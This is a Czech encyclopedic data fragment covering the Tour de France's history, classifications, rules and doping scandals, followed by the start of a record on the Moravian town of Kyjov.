etapa vedoucí z Briançonu na Alpe d'Huez. Ve sjezdu z Galibieru se Hinault Američanovi snažil nastoupit, ale LeMond ho dojel. To stejné se ještě opakovalo při stoupání na Col du Télégraphe. Při dojezdu na Alpe d'Huez se oba rivalové drželi za ruce, přičemž LeMond nechal Francouze etapu vyhrát. Vítězem celkové klasifikace se nakonec stal Greg LeMond. Američan byl jeden z prvních závodníků, kteří podřizovali celou sezónu Tour de France.", "V období mezi lety 1999–2005 vyhrál sedmkrát za sebou Lance Armstrong. Sedm let po jeho posledním triumfu, v roce 2012, ho Americká antidopingová agentura zbavila všech svých vítězství. Armstrongovo vyšetřování kvůli nařčení z dopingu bylo započato v polovině roku 2010 na základě tvrzení jeho bývalého týmového kolegy, Floyda Landise, který Tour de France vyhrál v roce 2006, ale později bylo jeho vítězství pro užívání dopingu anulováno. Vyšetřování bylo uzavřeno v únoru roku 2012. Následně Americká antidopingová agentura shromažďovala důkazy. Během procesu podalo svá svědectví více než tucet bývalých Armstrongových týmových kolegů a zaměstnanců. Výsledek vyšetřování byl jednoznačný. Armstrongovi byla prokázána vina coby uživateli i překupníkovi zakázaných látek v týmu US Postal. Vítěz tedy mezi lety 1999–2005 není žádný. První místo zůstalo neuděleno, francouzsky \"„Non attribué“\". Jan Ullrich měl na jaře zdravotní problém s kolenem, a tak na do ročníku 1999 nezasáhl. Neúčastnil se ani obhájce vítězství Marco Pantani. Úvodní prolog vyhrál Američan Lance Armstrong. Z hlediska celkové klasifikace se ukázalo, že klíčová byla třetí etapa, ve které peloton rozdělil pád většího počtu závodníků na dvě poloviny. V první polovině byl Armstrong a až ve druhé skupině byl Alex Zülle a Fernando Escartín, jenž byli považováni za favority na celkové pořadí. Armstrong vyhrál všechny časovky a svoji převahu potvrdil v deváté etapě s horským dojezdem v Sestriere. Za pomoci svého týmu US Postal eliminoval pokusy soupeřů v horách a stal se celkovým vítězem. O rok", "Tour de France v roce 2010 byla podle slov Lance Armstronga jeho poslední. Američan během závodu několikrát spadl a do celkového pořadí výrazněji nepromluvil. O žlutý trikot se přetahovali Andy Schleck a Alberto Contador. Pod vrcholem Port de Balès v Pyrenejích Lucemburčan jedoucí ve žlutém trikotu několikrát nastoupil, a když se mu podařilo Španělovi kousek poodjet, spadl mu řetěz. Contador tento moment využil a Schlecka nechal za sebou. V cíli na Lucemburčana najel 39 sekund, což v celkovém součtu znamenalo, že se stal o 8 sekund průběžným lídrem závodu. Při výjezdu na Col du Tourmalet v sedmnácté etapě Schleck svedl další souboj se svým španělským protivníkem. Avšak ve finále na Contadora žádný čas nenajel. Španěl v předposlední etapě, kdy byla na pořadu individuální časovka najel na Lucemburčana další čas a následující den celou Tour de France potřetí vyhrál s rozdílem 39 sekund na Schlecka.", "", "", "Žlutý trikot, francouzsky „\"maillot jaune“\", nosí vedoucí jezdec celkové klasifikace, francouzsky \"„Classement général“\". Jedná se o jeden z nejznámějších symbolů světa sportu. Celková klasifikace je nejstarší a nejvíce ceněnou klasifikací na Tour de France. Všechny etapy se jedou do cíle na čas. Časy z jednotlivých etap se sčítají. Závodník s nejmenším součtem časů je lídr závodu. Po skončení závodu je vedoucí jezdec vyhlášen celkovým vítězem. Na konci každé etapy absolvuje vedoucí jezdec slavnostní ceremoniál v cílovém městě, při němž je slavnostně oblečen do žlutého trikotu, ve kterém pojede v následující etapě. Za předpokladu, že závodník vede ve více klasifikacích včetně celkové, je vždy oblečen do žlutého trikotu. Celková klasifikace je totiž ze všech klasifikací nejdůležitější. V reakci na podvádění závodníků v roce 1904 byl v celkové klasifikaci mezi lety 1905 a 1912 zaveden tzv. bodovací systém. Body byly získávány za pořadí v jednotlivých etapách. Závodník s nejnižším počtem bodů na konci", "Puntíkovaný trikot, francouzsky \"„maillot a pois“\", nosí vedoucí jezdec horské klasifikace, francouzsky \"„Grand Prix de la montagne“\". Horská klasifikace je druhá nejstarší soutěž Tour de France, za kterou se uděluje trikot. Soutěž byla do závodu přidána v roce 1933 a jejím prvním vítězem se stal Španěl Vicente Trueba. Společnost Martini & Rossi se stala prvním sponzorem nově vzniklé soutěže. Následující rok byla klasifikace Henrim Desgrangem povýšena na oficiální kategorii Tour de France. Prvním vítězem nové kategorie se stal Francouz René Vietto. Na vrcholu vybraných stoupání jsou nejrychlejším jezdcům rozdělovány body. Oceněných cyklistů je maximálně 8 a jejich počet závisí na kategorii daného výjezdu. Celkem existuje pět kategorií pro jednotlivé kopce. Nejlehčí je kategorie 4, nejobtížnější je tzv. \"„Hors catégorie“\", česky \"„mimo kategorie“\". Stoupání jsou klasifikována podle strmosti a délky, přičemž nejvíce bodů se uděluje", "Zelený trikot, francouzsky \"„maillot vert“,\" nosí vedoucí jezdec bodovací klasifikace, francouzsky \"„Classement par points“\". Bodovací klasifikace je třetí nejstarší z momentálně aktivních klasifikací Tour de France. Po žlutém trikotu je zelený trikot závodníky považován za druhý nejprestižnější. Na rozdíl od puntíkovaného trikotu je k získání zeleného trikotu potřeba úsilí po celé tři týdny závodu. Poprvé byla soutěž představena při příležitosti padesáti let od založení Tour de France v roce 1953. Zelený trikot měl připomínat bodování, podle kterého byl mezi lety 1905 a 1912 určen celkový vítěz závodu. Zároveň chtěl ředitel závodu, Jacques Goddet, donutit sprintery, aby bojovali po celou Tour de France. Prvním vítězem se stal Fritz Schär. Body do soutěže se udělují prvním patnácti cyklistům v cíli každé etapy. Prvních patnáct cyklistů body získá i na předem určených sprinterských prémiích v průběhu každé etapy. Počet bodů se liší typem etapy. Nejméně bodů", "Bílý trikot, francouzsky \"„maillot blanc“\", nosí vedoucí jezdec klasifikace mladých jezdců, francouzsky \"„Classement du meilleur jeune“\". Princip soutěže o bílý trikot je obdobou soutěže o žlutý trikot. Klasifikace je určena závodníkům, kteří 1. ledna roku, v němž se jede závod, nedovršili 26 let. Vedoucí jezdec soutěže je určován stejným způsobem jako závodník z celkové klasifikace. Časy z etap jsou závodníkovi sčítány. Závodník s nejmenším součtem časů je lídr klasifikace jezdců do 26 let. Obvykle se vítězi soutěže stávají cyklisté, kteří jsou na počátku svých kariér. Původně byla klasifikace určena závodníkům, kteří byli v prvních třech letech svých profesionálních kariér. Od roku 1983 organizátoři pravidla upravili tak, že se soutěže mohli účastnit pouze debutanti. V roce 1987 proběhla další změna pravidel do současné podoby, tedy počet startů na Tour de France nehraje žádnou roli, omezení věku platí a vedoucí", "Týmová klasifikace, francouzsky \"„Classement par équipes“\", je soutěž o nejlepší tým Tour de France. Po konci každé etapy se započítávají časy tří nejlepších cyklistů z každého týmu. První tým klasifikace je potom určen nejnižším celkovým časem. Týmová klasifikace byla do Tour de France zařazena v roce 1930, kdy se změnil systém závodu ze sponzorských na národní týmy. Prvním vítězem týmové klasifikace se stal národní tým Francie. Národní týmy na Tour de France figurovaly mezi lety 1930–1961 a 1967–1968. V roce 1961 byl systém určování nejlepšího týmu změněn. O vítězi rozhodovaly body. Nejlepší tým v každé etapě získal jeden bod. Tým s", "Cena pro největšího bojovníka, francouzsky \"„Prix de la combativité“\", je udělována závodníkovi s nejbojovnějším duchem, jenž projeví zarputilou vytrvalost. Na konci každé etapy se sejde porota skládající se ze členů organizačního týmu a ze zástupců médií a cenu udělí. Porota sestává z osmi členů. Cenu pro největšího bojovníka obvykle získá závodník, který se dostane do úniku dne. Symbolem soutěže není trikot, nýbrž bílé startovní číslo na červeném podkladu na cyklistově zádech. Po skončení Tour de France", "Červená lucerna, francouzsky \"„Lanterne Rouge“\", je označení pro posledního závodníka celkového pořadí Tour de France. Název pochází od červené lucerny z konce starých vlaků, podle níž výpravčí zjistil, že jsou k vlaku připojeny všechny vagóny. Červená lucerna se objevila již v prvním vydání závodu v roce 1903. Od té doby je součástí Tour de France. Prvním závodníkem, který dojel na posledním místě byl Arsène", "Vítěz Tour de France vždy obdržel finanční odměnu. V prvním vydání závodu vyhrál celkový vítěz 20 000 franků. Každý rok se suma peněz zvyšuje. V roce 2017 získal Chris Froome jako vítěz celkové klasifikace Tour de France 500 000€. Vítěz bodovací klasifikace vyhrál stejně jako vítěz horské klasifikace 25 000€. Nejlepší mladý jezdec do 26 let si odnesl 20 000€ a nejlepší tým Tour de France vyhrál 50 000 €. Kromě toho ještě získává závodník jedoucí ve žlutém trikotu 500€ za každý den, kdy je v trikotu oblečen. Ostatní lídři klasifikací jsou odměněni 300 € za každý den strávený v trikotu označující jejich prvenství v dané klasifikaci. Na předem určených sprinterských prémiích se uděluje finanční odměna. Vítěz takové prémie", "", "Kombinovaný trikot, francouzsky \"„maillot du combiné“\", byl udělován prvnímu jezdci kombinované klasifikace, francouzsky \"„Classement du combiné“\". Kombinovaná klasifikace byla na Tour de France poprvé představena v roce 1968. Soutěž byla založena na bodovacím systému a jednalo se o kombinaci žlutého, zeleného a puntíkovaného trikotu. Body do klasifikace byly udělovány po každé etapě podle pořadí závodníka v těchto třech klasifikacích. Jezdec s nejmenším počtem bodů", "Červený trikot, francouzsky \"„maillot rouge“\", byl udělován prvnímu jezdci klasifikaci průběžných sprintů, francouzsky \"„Classement des sprints intermédiaires sur“\". Klasifikace průběžných sprintů byla na Tour de France poprvé představena v roce 1971. Body udělované do klasifikace průběžných sprintů jsou od roku 1990 započítávány do bodovací klasifikace. Do soutěže byly závodníkovi body připočítávány na sprinterských prémiích během etap. Cyklista s nejvyšším počtem bodů na konci Tour de France se stal vítězem klasifikace průběžných sprintů. Vedoucí jezdec soutěže byl rozlišen od ostatních až od roku 1984, kdy byl oblečen v červeném trikotu. Prvním vítězem klasifikace průběžných sprintů se stal belgický závodník Pieter Nassen. Rekordmanem v počtu získaných červených trikotů je Ir Sean Kelly, jemuž se to podařilo třikrát.", "", "První kilometr etapy, francouzsky označovaný jako \"„départ fictif“\", probíhá bez závodění. Skutečný start, francouzsky \"„départ réel“\", ohlašuje ředitel Tour de France odmávnutím bílé vlajky. Cyklistům je povoleno být spolu v kontaktu. Jakékoliv šťouchnutí nebo postrčení je však zakázáno. Závodník, který jako první překročí cílovou čáru, se stává vítězem etapy. Jezdcům je přidělován čas skupiny, ve které dojedou do cíle etapy, podle jejího prvního cyklisty. Tímto opatřením pořadatelé zamezují nebezpečí hromadných spurtů. Není neobvyklé, když do cíle přijede celé startovní pole v jedné skupině. Všem závodníkům se potom přičítá stejný čas podle vítěze etapy, přestože je pole závodníků roztahané a poslední jezdec skupiny dojede do cíle s určitým časovým deficitem. Od roku 2005 platí v rovinatých etapách pravidlo, jenž stanovuje ochranné pásmo 3 km před cílem. To v praxi znamená, že pokud cyklista spadne nebo se zaplete do nehody 3 km před cílem, bude se mu", "Individuální časovku, francouzsky \"„contre la montre“\", jezdí cyklisté samostatně. Jezdci startují v jednotlivých intervalech, obvykle po dvou minutách. Jezdí se v obráceném pořadí oproti celkové klasifikaci, tedy cyklista jedoucí ve žlutém trikotu do časovky startuje jako poslední. Protože je časovka jednotlivců zkouškou individuálních schopností, jezdci v průběhu etapy nemohou spolupracovat. Jestliže jezdec dojede závodníka jedoucího před ním, nesmí jet tito závodníci jako skupina. To znamená, že nesmí jet v zákrytu. První individuální časovka se v itineráři závodu objevila v roce 1934 a jejím vítězem se stal pozdější celkový", "Týmovou časovku jezdí každý tým samostatně. Týmy startují v jednotlivých intervalech, obvykle po dvou minutách. Tým jezdí jako skupina. Jezdci se střídají na čele, ale nemohou spolupracovat s ostatními týmy. Na rozdíl od individuální časovky cyklisté z jednoho týmu smí jet v", "Závodníci, kteří dokončí etapu, mohou být ze závodu vyloučeni, protože překročili časový limit etapy. Limit etapy je definován jako čas vítěze plus procento, jenž závisí na typu etapy a průměrné rychlosti vítěze etapy. Časový limit může být prodloužen, popřípadě může být i úplně zrušen, pokud více než 20 % závodníků nedorazí do cíle včas anebo pokud je na vině jiný důvod jako kolize nebo špatné počasí. Celkem existuje šest koeficientů", "", "Velký start, francouzsky \"„Grand Depárt“,\" je termín používaný pro start Tour de France. Přípravy na Velký start probíhají v předem vybraném městě zhruba pět dní. Během příprav probíhá příjezd závodníků, zdravotní prohlídky, prezentace jezdců. Dále se zde koná úvodní prolog a start první etapy. Média hojně informují o všem co se týká cyklistiky. Moderní Tour de France udělala z Velkého startu velkolepou akci. Večer před samotným startem probíhá ceremoniál, ve kterém jsou slavnostně představeny všechny soutěžní týmy s jejich závodníky. První Tour de France v roce 1903 byla odstartována na pařížském předměstí Montgeron. Od roku 1904 až do roku 1925 začínal závod vždy v Paříži.", "Závěrečný dojezd, francouzsky \"„L'Arrivée Finale“\", je termín označující cíl Tour de France. Velký start moderní Tour de France se jen zřídka kdy odehrává v Paříži. Závěrečný dojez však Paříž hostila vždy s výjimkou prvního ročníku, kdy Tour de France končila na jihozápadním předměstí poblíž kavárny \"Le Père Auto\" ve Ville-d'Avray. Po dojezdu prvního ročníku závodníci defilovali před publikem na nedalekém velodromu v Parku Princů v Porte de Saint-Cloud. Venkovní ovál v Parku Princů byl postaven v roce 1897 a měří 666,66 metrů. Proto ho zakladatel Tour de France, Henri Desgrange, zvolil jako ideální závěr první Tour de France. Ukončení Tour de France se na velodromech konalo až do roku 1971. V roce 1964 závod končil poprvé časovkou s trasou z Versailles do Parku Princů. Park Princů byl hostitelem cíle závodu až do roku 1967. Následně byl zbourán a cíl závodu se od roku 1968 přesunul na", "O celkovém vítězi Tour de France v celé její historii velmi často rozhodovaly horské etapy. Pyreneje byly do itineráře závodu poprvé zařazeny v roce 1910. Než se tak stalo, vyslal zakladatel Tour de France, Henri Desgrange, na průzkum svého asistenta Alphonse Steinese. Měsíc před startem závodu pod vrcholem Col du Tourmalet ve výšce 2115 metrů nad mořem jeho auto zastavila chumelenice a dále musel pokračovat pěšky. Steines zjistil, že na vrchol nevede žádná silnice. I přesto poslal Degrangeovi telegram, ve kterém ho informoval, že je vše v pořádku. Pyreneje jsou od té doby součástí Tour de France. Obecně jsou pro peloton považovány za méně destruktivní než Alpy, které byly do programu závodu zařazeny rok po Pyrenejích v roce 1911. K historicky nejstarším pyrenejským výjezdům patří Portet d'Aspet, Col de Peyresourde, Col d'Aspin, Col d'Aubisque a Col du Tourmalet. Později byly přidány další výzvy v podobě Luz Ardiden, Plateau de Beille a Hautacam. Nejvyšším pyrenejským výjezdem Tour de France je Port d'Envalira s nadmořskou výškou 2407 metrů nad mořem. Za nejobávanější výjezd Tour de France je považován Mont Ventoux známý jako \"„Provensálský obr“\". Do itineráře závodu byla hora poprvé zařazena v roce 1951. V průběhu let dostal \"„Provensálský obr“\" reputaci výjezdu, jehož se peloton obává. Na úpatí kopce bývají navzdory nadmořské výšce", "Obvinění z dopingu Tour de France provázejí v podstatě od jejího prvního ročníku v roce 1903. Kvůli náročným podmínkám závodníci v počátečních letech konání závodu požívali alkohol a éter k utlumení bolesti. V průběhu let začal význam užívání dopingu růst. V reakci na to zavedly vlády a mezinárodní cyklistická unie politiku boje proti dopingu. V roce 1920 otiskl \"Le Petit Parisien\" rozhovor s bratřími Pélissierovými, v němž uvedli, že Tour de France je jako křížová cesta, při které závodníci trpí od začátku do konce. Na otázku novináře, jak se s tím vypořádávají, mu ukázali obsah své brašny, kde byly kokainové ampule, chloroform a koňská mast s dalšími stimulanty a analgetiky. Později však Francis Pélissier své výroky zmírnil a tvrdil: „Trošku jsme to s tím kokainem a pilulkami přeháněli, ale podstata věci pravdivá byla.“ Doping, o kterém Pélissierovi mluvili, byl však ve dvacátých letech stále legální. Veřejný prodej amfetaminu, v cyklistickém žargonu označovaný jako \"„La Bomba“\", byl francouzskou vládou zakázán v roce 1955. Ani zákaz prodeje amfetaminu však cyklistům jeho používání nezakazoval, a tak ho používali dál. Ve čtyřicátých a padesátých letech 20. století byl podle nizozemského cyklisty, Wima van Esta, hlavním určovatelem dopingových trendů Fausto Coppi. Coppi, Charly Gaul i Jacques Anquetil se nijak netajili používáním dopingu. Anquetil dokonce při jednom rozhovoru s novinářem uvedl: „Nemůžete přeci jezdit Tour na vodu.“ Na přímou otázku novináře, zdali berou cyklisté \"„La Bombu“\", jak byl v cyklistickém žargonu označován amfetamin, odpověděl Fausto Coppi: „Ano, a pokud někdo tvrdí něco jiného, nemá smysl se s ním bavit o cyklistice.“ Velmi významnou osobou, jenž se zasadila o antidopingový zákon, je Pierre Dumas. Dumas se v létě roku 1952 stal oficiálním lékařem Tour de France. Lékař při setkání s reportérem Philippem Brunnelem z deníku \"L'Équipe\" popisoval, jak byl svědkem situací, kdy si cyklisté během závodu píchali injekce a vůbec jim nevadila jeho přítomnost. Během čtrnácté etapy Tour de France v roce 1960 měl tehdy druhý jezdec celkové klasifikace, Roger Rivière, při sjezdu nehodu, po které upadl do bezvědomí. Při leteckém převozu do nemocnice bylo zjištěno, že měl v kapsách amfetamin a injekci s palfiem, jenž umrtvuje bolest a zpomaluje reflexy. Příčinou nehody byly právě injekce proti bolesti. Po jedné z následujících alpských etap šel Dumas za prozatímním lídrem, Italem Gastonem Nencinim, na hotelový pokoj. Lékař ho nalezl ležícího na posteli s plastikovými trubičkami, které vedly z obou jeho paží k lahvi s krví. Dumas po této zkušenosti svolal krizový štáb, na němž vedoucí Italů Nenciniho počínání obhajoval. Nicméně k zakázání dopingu ještě nedošlo. Zákony zakazující užití dopingu ve sportu vešly v platnost až v roce 1966. Proti novým zákonům se ostře ohradili někteří cyklisté včetně Jacquese Anquetila. O rok později, v roce 1967, na následky předávkování amfetaminem umřel při výjezdu na Mont Ventoux Tom Simpson. V reakci na Britovu smrt zavedli organizátoři od roku 1968 povinné dopingové kontroly pro každého vítěze etapy. V anquetilově éře na přelomu padesátých a šedesátých let cyklisté pro otupení bolesti používali amfetamin. V sedmdesátých letech závodníci pro změnu používali anabolické steroidy, clenbuterol, nandrolon nebo testosteron. Na počátku devadesátých let se na Tour de France poprvé objevil Erythropoetin, zkráceně EPO. Ve své autobiografii, francouzsky \"„Nous étions jeunes et insouciants“\", česky \"„Byli jsme mladí a bezstarostní“\", přiznal dvojnásobný vítěz závodu, Laurent Fignon, že během své kariéry bral amfetamin a kortizon stejně jako všichni ostatní. Podle Fignona ho na počátku devadesátých let v horách začali předjíždět závodníci, o kterých by nevěřil, že by se ho byli schopni držet. A to všechno díky EPO. Tour de France z roku 1998 se do historie zapsala jako \"„Tour de Dopage“\". Na hranicích Francie s Belgií zastavili celníci dne 8. července 1998 automobil stáje Festina. Při kontrole bylo ve vozidle objeveno více než", "Reklamní karavana, francouzsky \"„Caravane publicitaire“\" vznikla v roce 1930, když byl systém závodu změněn z firemních týmů na týmy národní. Zakladatel Tour de France, Henri Desgrange, chtěl omezit vliv firemním týmů a zároveň chtěl podpořit francouzské závodníky, kteří na Tour de France nevyhráli od roku 1923. Na zvýšený rozpočet o ubytování a stravu cyklistů nějak potřeboval vydělat peníze. Nápad s vytvořením reklamní karavany mu vnukl reklamní manažer čokoládové společnosti Menier, Paul Thévenin. Již v roce 1929 začal Thévenin mezi diváky podél silnic z auta rozhazovat čokoládu. Tehdy mu nicméně ještě nebylo organizátory dovoleno jet kolem fanoušků spolu s pelotonem, ale mohl jet až po něm. To se Théveninovi nelíbilo, protože většina diváků odcházela domů hned, jakmile cyklisté projeli. Desgrange mu o rok později nabídl možnost stát se součástí konvoje jedoucím před pelotonem. Zároveň by byla loga Menieru i na dalších vozech. Během závodu hostesky Menieru rozdaly tuny čokolády a na půl milionu policejních čepic s názvem firmy. V horských etapách se pro závodníky, funkcionáře i fanoušky vařila horká čokoláda. Na vybraných vrcholech byla prvnímu cyklistovi na vrcholu vyplácena speciální prémie 5000 franků. Čokoládovna Menier měla nejvyšší rozpočet na reklamu na Tour de France, a také na tom nejvíce vydělala. Desgrange v dalších letech do reklamní karavany přidal dalších", "Kolo je jedním z nejjednodušších a nejúčinnějších vynalezených strojů. Jeho současná podoba je víc než 100 let stará a během té doby se vyvinulo ve spolehlivý, rychlý, pevný a lehký stroj. Kola mají rám ve tvaru kosočtverce, dvě stejně velká kola a řetězový převod. Tour de France pod vedením Henriho Desgrange nebyla přehlídkou nejmodernější cyklistické technologie, jako je tomu dnes. Jeho posedlost rovnocennými podmínkami v roce 1930 dokonce vedla k představení standardního žlutého kola v barvě deníku \"L'Auto\". Přehazovačky se v cyklistice objevily ve 20. letech. Na Tour de France však byly povoleny až v roce 1937. Podobné to bylo i s ráfky. Francouzská firma Mavic v roce 1934 představila slitinové ráfky, které byly o polovinu lehčí než ráfky ocelové. Jejich použití nebylo povoleno. Desgrange totiž mnoho let trval na používání dřevěných ráfků. Antonin Magne slitinové ráfky na Tour de France i přesto otestoval. Musely", "Tour de France se do roku 2017 zúčastnilo jedenáct Čechů a šest Slováků, přičemž Ján Svorada vyměnil v roce 1996 slovenské občanství za české. Nejúspěšnějšími jezdci jsou Svorada s", "Níže jsou uvedeny některé významné údaje a statistiky z celé historie Tour de France:" ] }

{ "title": [ "Etymologie a heraldika.", "Dějiny.", "Geografie.", "Vodstvo.", "Životní prostředí.", "Samospráva.", "Dřívější volby.", "Obyvatelstvo.", "Náboženství.", "Kultura.", "Folklor.", "Muzea.", "Knihovna.", "Galerie.", "Kina.", "Kulturní dům.", "Ostatní.", "Školství.", "Doprava.", "Železniční doprava.", "Autobusová doprava.", "Silniční doprava.", "Letiště.", "Cyklistika a pěší trasy.", "Pamětihodnosti.", "Městský park.", "Funkcionalistické vily.", "Partnerská města." ], "section_level": [ "1", "1", "1", "2", "2", "1", "2", "1", "2", "1", "2", "2", "2", "2", "2", "2", "2", "1", "1", "2", "2", "2", "2", "2", "1", "2", "2", "1" ], "content": [ "Název města se odvozuje od osobního jména \"Kyj\". Muž jménem Kyj mohl mít Kyjov ve vlastnictví. Toto osobní jméno bylo ve slovanské oblasti poměrně rozšířeno. Německy se město nazývalo \"Gaya\", dříve také \"Geyen\". Ve znaku má město pravou paži držící kyj na modrém poli. Počet suků na kyji bývá od tří do pěti, převážně však čtyři. V 17. století se ke znaku přidával anděl jako štítonoš a okolo roku 1800 šachovaná orlice. Ke znaku však anděl či orlice nepatří a šlo pouze o ryteckou ozdobu pečeti. Barvy znaku jsou modrá a bílá. Modrá je použita podle znaku z rejstříku kožešnického a kloboučnického cechu z 18. století. Existuje i varianta městského znaku z roku 1727 s červenou podkladovou barvou. Původ znaku není doložen. Poprvé byl vyobrazen na pečeti v roce 1526. V literatuře se vyskytuje úvaha, že kyj je spíše ostrev,", "V roce 2010 archeologové nalezli 1 km jihozápadně od dnešního náměstí pohřebiště ze 6. století s více než 250 hroby germánského kmene Langobardů. Jde tak o jedno z nejvýznamnějších langobardských center ve střední Evropě a nález významně změnil dosavadní znalosti o pohybu Langobardů během stěhování národů. V první písemné zmínce z roku 1126 se Kyjov připomíná jako trhová ves, kterou kníže Václav Jindřich Olomoucký daroval benediktinskému klášteru Hradisko u Olomouce. Stalo se tak na památku Václavova strýce Oty II. Olomouckého, který 18. února 1126 zahynul v bitvě u Chlumce. Klášter Hradisko brzy přešel do rukou premonstrátů a v 2. polovině 12. století za opata Michala byl na kyjovském návrší postaven kamenný kostel sv. Martina. V přímé správě kláštera byl Kyjov nejpozději do roku 1382. Pak jej začal pronajímat nižší šlechtě. Král Vladislav Jagellonský povýšil Kyjov privilegiem z 7. června 1515 na město a udělil mu právo pečetit červeným voskem. V husitském období se město hlásilo k utrakvismu. V srpnu 1431 ho dobyl rakouský markrabě Albrecht II. Habsburský a podle kronikáře Bartoška z Drahonic zde nechal popravit okolo 50 kyjovských obyvatel. Premonstrátský klášter v roce 1539 po více než 400 letech prodal město Janu Kunovi z Kunštátu. Jeho synové Kyjov prodali 7. ledna 1548 Janu Kropáčovi z Nevědomí a na Litenčicích za 9 000 zlatých. Kyjovští poddaní s tím nebyli spokojeni.", "Kyjov se nachází v severní části okresu Hodonín, který leží v jihovýchodní části Jihomoravského kraje. Od krajského města Brna je vzdálen 43 km jihovýchodním směrem a 18 km severně od okresního města Hodonín. Město se skládá celkem ze čtyř samostatných katastrů, neboť v letech 1946–1980 se k němu od severu postupně připojily tři obce. Katastr původního města má 753,73 ha, místní část a dříve samostatná obec Nětčice (k. ú. Nětčice u Kyjova) 227,98 ha, Boršov (k. ú. Boršov u Kyjova) 334,09 ha a Bohuslavice (k. ú. Bohuslavice u Kyjova) 1671,74 ha, celkem 29,88 km2. Město má 13 základních sídelních jednotek a 74 pojmenovaných ulic. V místní části Bohuslavice nejsou ulice pojmenovány. Severní hranice katastru je zároveň hranicí Jihomoravského a Zlínského kraje, případně hodonínského a kroměřížského okresu. Kyjov zde sousedí s městem Koryčany, resp. místní část Kyjova Bohuslavice sousedí s místní částí Koryčan Jestřabice. Další sousední obce se již nachází v okrese Hodonín a dle směru hodinových ručiček to jsou: Čeložnice, Kostelec, Vlkoš, Skoronice, Svatobořice-Mistřín, Sobůlky, Bukovany, Nechvalín a Mouchnice. Centrum města leží v údolí řeky Kyjovky na jejím levém břehu ve výšce 190 m n. m. Nejvyšší bod města je chřibský kopec \"Lenivá hora\" v části Bohuslavice s výškou 462,7 m n. m. Nejvyšší místo původního Kyjova (katastrálního území Kyjov) je východně od centra ve výšce 257 m n. m. u kaple sv. Rocha a silnice I/54. V nejnižším bodě 183 m n. m., jižně od města, řeka Kyjovka opouští katastr. Krajina severně od města je kopcovitá, tvoří zde podhůří Chřibů a jednotlivé vesnice zde mají v řádu několik set obyvatel. Území Bohuslavic už z velké části leží v Chřibech. Jižním směrem je terén zvlněný a oblast je intenzivněji zemědělsky využívaná. Obce zde mají okolo 1 000 – 3 500 obyvatel. Z města je severním směrem dobře viditelný hřeben Chřibů s kopcem \"Bradlo\" (543 m n. m.), jihovýchodně hřeben Bílých Karpat s horou \"Velká Javořina\" (970 m n. m.) a za dobré viditelnosti jihozápadním směrem Pavlovské vrchy (549 m n. m.). 5 km západně od města se nachází nejvyšší kopec Kyjovské pahorkatiny \"Babí lom\" (417 m n. m.) s vysílačem Českých radiokomunikací, místními nazývaný \"Strážovský kopec\".", "Katastrální území patří do povodí Dyje a je součástí úmoří Černého moře. Z údolí mezi Ždánickým lesem a Chřibami protéká městem ze severu na jih řeka Kyjovka. Pramení u chřibské obce Staré Hutě pod vrcholem kopce Vlčák ve výšce 560 m n. m. Kyjov leží na jejím 54. říčním kilometru. V roce 2012 bylo její koryto na území města vyčištěno a zpevněno kamenem. V letech 1953–1958 byla na jejím horním toku vybudována vodní nádrž", "V Bohuslavicích se nachází přírodní památka Bohuslavické stráně. Důvodem k jejímu vyhlášení v roce 1992 byla ochrana teplomilných společenstev. Ve východní části Bohuslavic je od roku 2009 památný strom jeřáb oskeruše (nazývaný \"Hausnerova oskeruše\") a na křižovatce ulic Nádražní a Dobrovského je od roku 2011 chráněna jako památný strom lípa velkolistá. Důležitým odpočinkovým místem je pro obyvatele městský park. Východně od centra s katastrem města u silnice II/422 sousedí malý les \"Chrast\" (nazývaný i \"Chrastí\") v nadmořské výšce asi 200–250 m, u kterého začíná cyklostezka vedoucí přes Kelčany, Vlkoš a Skoronice zpět do jižní části Kyjova. Jsou zde tři chráněné lípy malolisté (zvané \"Kelčanské lípy\"). V roce 1991 byly Kyjovu vráceny městské lesy o rozloze 631,52 ha v katastrech obcí Moravany a Vřesovice v Chřibech.", "Od roku 2003 je Kyjov obcí s rozšířenou působností, pod kterou patří obce s pověřeným obecním úřadem Bzenec a Ždánice. Do jeho obvodu patří 42 okolních obcí s téměř 55 000 obyvateli. Je členem mikroregionu Babí lom a Sdružení obcí Severovýchod. Náleží do senátního obvodu č. 79 – Hodonín, za který byla v roce 2016 do Senátu zvolena Anna Hubáčková. Od 1. poloviny 17. století byl Kyjov součástí Hradišťského kraje a v roce 1850 se stal sídlem okresního hejtmanství. V období Protektorátu v letech 1939–1945 byl sídlem okresu v rámci Zlínského oberlandratu a objevily se zde i snahy o připojení ke Slovenskému státu. Správní reforma v roce 1949 zrušila Hradišťský kraj a kyjovský okres byl začleněn do nově vzniklého Gottwaldovského kraje. Po změně územního členění v roce 1960 se stal Kyjov součástí okresu Hodonín v rámci bývalého i současného Jihomoravského kraje. V letech 1868–1948 zde bylo sídlo soudního okresu. Zastupitelstvo města má 27 členů a městská rada 9 členů. V zastupitelstvu pracují 3 výbory (finanční, kontrolní a pro rekonstrukci koupaliště). Městská rada má 13 komisí (bytová, legislativní a živnostenského podnikání, prevence kriminality, pro občanské záležitosti, pro spolkovou činnost, pro zahraniční vztahy, výstavby a urbanismu, životního prostředí, kulturní, pro podporu podnikání a zaměstnanost, sociální a zdravotní, sportovní, školská). Městský úřad má celkem 12 odborů. Voleb do zastupitelstva v říjnu 2018 se účastnilo 49,29 % voličů ve 12 volebních okrscích. Zvítězilo místní uskupení \"Sedmadvacítka nezávislých\", které získalo 44,25 % hlasů a 13 mandátů v zastupitelstvu, dále sdružení Pro Kyjov (20,14 %, 6 mandátů), KDU-ČSL (9,17 %, 2 mandáty), ODS (7,52 %, 2 mandáty), KSČM (7,41 %, 2 mandáty) a ANO 2011 (6,64 %, 2 mandáty). Do městské rady zastupitelstvo zvolilo 6 členů \"Sedmadvacítky nezávislých\" a po jednom členu ze stran KDU-ČSL, ODS a hnutí ANO 2011. Starostou byl znovu zvolen František Lukl a místostarostou Antonín Kuchař. V roce 2020 městský úřad zřídil funkci druhého místostarosty, do níž byl zvolen Daniel Čmelík.", "Ve volbách v roce 1994 se do třiadvacetičlenného zastupitelstva dostalo 9 subjektů: Českomoravská strana středu s nezávislými kandidáty získala 5 mandátů, KSČM 5 mandátů, ODS 4 mandáty, KDU-ČSL 3 mandáty, KDS 2 mandáty a po jednom obdržely ČSSD, SPR-RSČ, DEU a nezávislí a Liberální strana národně sociální s nezávislými. Po volbách roku 1998 v zastupitelstvu klesl počet subjektů na šest: Sdružení nezávislých kandidátů 7 mandátů, KSČM 4 mandáty, ODS 4 mandáty, KDU-ČSL 3 mandáty, ČSSD 3 mandáty a Unie svobody 